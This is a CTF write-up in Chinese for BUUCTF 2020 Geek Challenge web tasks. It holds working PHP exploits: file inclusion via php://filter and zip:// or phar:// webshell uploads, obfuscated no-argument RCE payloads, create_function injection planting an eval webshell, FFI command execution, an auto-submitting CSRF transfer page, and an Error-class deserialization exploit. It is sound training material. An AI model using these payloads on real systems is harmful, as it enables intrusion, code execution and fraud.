BUUCTF-2020极客大挑战

[WEB]Welcome

题目访问不了,bp抓包,响应头显示:

image-20210420165004101

改为post请求:

image-20210420165110191

数组绕过sha1:roam1[]=1&roam2[]=2

phpinfo()页面搜索flag:

image-20210420165752409

[WEB]myblog

打开题目看到url,猜测存在伪协议读取文件,没有读到index 读到了login.php:

1
?page=php://filter/read=convert.base64-encode/resource=login

image-20210420170555560

1
2
3
4
5
6
7
8
9
10
//secret.php
<?php
$secret_seed = mt_rand();
?>
//login.php
<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

看到传入的username&password进入了/?page=admin/user,读取一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>

通过关键代码可知用户名为Longlone,密码为随机数验证通过会进入admin目录,可见在验证密码的时候采用== ,我们可以通过清空session 然后密码为空绕过:

image-20210420185859172

成功登陆。

image-20210420190000711

接下来审计读到的其他代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>

看到存在这么一段代码,文件上传,采用的是白名单,想到首页的文件包含,我们可以文件包含配合上传图片getshell,但是通过我们伪协议读取源码得知包含的时候会加上.php后缀,因此通过zip:// 或者phar://协议来包含。利用过程:

1
一句话木马->压缩为zip文件->修改后缀的jpg->利用zip://或者phar://协议包含->getshell

先传phpinfo测试,上传后路径:

1
./assets/img/upload/a4c4ab7e86ffb8ae7ebf44a377492d0b073e3b45.jpg
1
page=zip://./assets/img/upload/a4c4ab7e86ffb8ae7ebf44a377492d0b073e3b45.jpg%231

image-20210420191850660

然后上传一句话木马:

image-20210420192239458

image-20210420192302961

利用phar协议:

1
page=phar://./assets/img/upload/7f9dd8cedfae86b489906d5126b1ccad949bb11b.jpg/1

[WEB]rceme

image-20210420192645927

执行命令前有一个验证,python脚本构造即可。查看源码发现提示 存在swp文件泄露:

image-20210420195400139

下载恢复文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>

RCE限制长度小于等于70位

限制特殊符号数字字母,不能用异或和或运算 —可以利用取反

只允许无参数的函数传递进来,函数名只能为字母—利用无参数RCE

关于无参数RCE不再详细分析,可参考:https://xz.aliyun.com/t/9360

这里利用getallheaders() 先看一下位置:

1
2
3
4
5
var_dump(getallheaders());
构造取反后:
(~%89%9E%8D%A0%9B%8A%92%8F)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)());
但是本题目需要构造无参数:利用[!%FF]或者[!%aa]
[~%89%9E%8D%A0%9B%8A%92%8F][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]());

注意提交要通过bp 不然会编码:

image-20210420204428016

然后构造:system(next(getallheaders()))

1
2
3
4
system(next(getallheaders()));
(~%8C%86%8C%8B%9A%92)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()))

[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

image-20210420205601739

image-20210420205818108

[WEB]FighterFightsInvincibly

直接view-source:

image-20210420211328195

看到是动态代码执行,构造create_function代码注入,看下phpinfo:

1
fighter=create_function&fights=&invincibly=1;}phpinfo();/*

image-20210420212724022

来个shell吧

1
fighter=create_function&fights=&invincibly=1;}eval($_POST[V]);/*

image-20210420212911179

需要bypass,php版本7.4,利用php7.4 FFI实现用PHP代码调用C代码的方式执行命令。

蚁剑绕过利用失败,采取手动方式:

image-20210420222116841

flag读不全。其实还可以采用FFI调用PHP源码中的函数

1
2
3
4
5
6
7
8
9
10
# -*-coding:utf-8

import requests
url = "http://daf3777d-58e5-4447-a849-b1a2ba7c1e9c.node3.buuoj.cn/"
#data = {"fighter": "create_function", "fights": "", "invincibly": "1;}phpinfo();/*"}
#data = {"fighter": "create_function", "fights": "", "invincibly": """1;}$e=FFI::cdef("void *popen(char*,char*);\\nvoid pclose(void*);\\nint fgetc(void*);","libc.so.6");$o = $e->popen("/readflag","r");$d="";while(($c=$e->fgetc($o))!=-1){$d.=str_pad(strval(dechex($c)),2,"0",0);}$e->pclose($o);echo hex2bin($d);/*"""}
data = {"fighter": "create_function", "fights": "", "invincibly": """}$e=FFI::cdef("int php_exec(int type, char *cmd);");$e->php_exec(3,$_REQUEST['cmd']);/*"""}

res = requests.post(url, data=data,params={"cmd": "/readflag"})
print (res.content)

[WEB]flagshop

环境不太顺畅..中间重新起了好几次环境。。

这道题目考察的是CSRF,这种题目并不多,通过这个题目详细分析下这种漏洞。

先了解一下:CSRF 详解与攻防实战

首先进入环境注册登录:

image-20210421113917911

需要足够的钱购买flag。看一下怎么获得足够的钱,发现其有一个转账功能,与上文CSRF讲解的例子不谋而合同样是转账操作,其次还存在一个提交报告的地方,思路很明显了,就是构造恶意的链接,然后在提交报告处提交恶意链接,这样管理员查看报告就会自动转账:

image-20210421114229847

看到Longlone用户,应该是利用CSRF让其给注册的用户转账,利用burp构造CSRF的POC放在vps上:

image-20210421114649186

image-20210421114910068

POC修改一下,加一个脚本自动提交的代码,放在vps上index.html,然后提交报告:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();}
</script>
</head>
<body>
<form action="http://31a0d988-edec-4409-83c4-04e3545ef852.node3.buuoj.cn/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="111" />
<input type="hidden" name="money" value="9999999999999999" />
<input type="hidden" name="messages" value="111" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

image-20210421121648035

image-20210421164726997

提交成功后返回首页查看余额,购买flag即可。

[WEB]greatphp

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

反序列化题目,可以看到想要执行命令必须满足MD5 、sha1值相等,但是既满足相等又要执行命令难以绕过。这里有个考察点就是:

md5/sha1函数对一个类进行处理的时候会触发这个类的__toString魔术方法

这里想到了利用原生类。利用Error 内置类,在进行处理的时候触发__toString ,先看一下类:

image-20210421105322749

可见会输出payload 错误文件路径 以及行号,所以我们要想得到输出相同就需要在同一行:

image-20210421105525467

可见这样就可以使的$a $b 相等,但是输出的报错信息相同。

接下来考虑怎么代码执行,首先我们需要控制整个代码块,利用?><?php 形式,因为过滤了<?php 采用短标签的形式<?= ,其次过滤了小括号 因为控制了整个代码块,可以采取include flag文件的形式,过滤了”,无法利用 include "/flag" 利用取反绕过:

image-20210421111104661

1
2
输出报错信息:Error: ?><?=include "/flag"?>#先闭合
拼接:eval(Error: ?><?=include "/flag"?>);#成功控制代码块 包含文件

payload:

1
“?><?=include~”.urldeocde(%D0%99%93%9E%98)."?>"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class SYCLOVER {
public $syc;
public $lover;
}

$payload = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a = new Error($payload,1);$b = new Error($payload,2);
$v = new SYCLOVER();
$v->syc=$a;
$v->lover=$b;
#echo serialize($v);
echo urlencode(serialize($v));

image-20210421113013409

[WEB]cross

待解决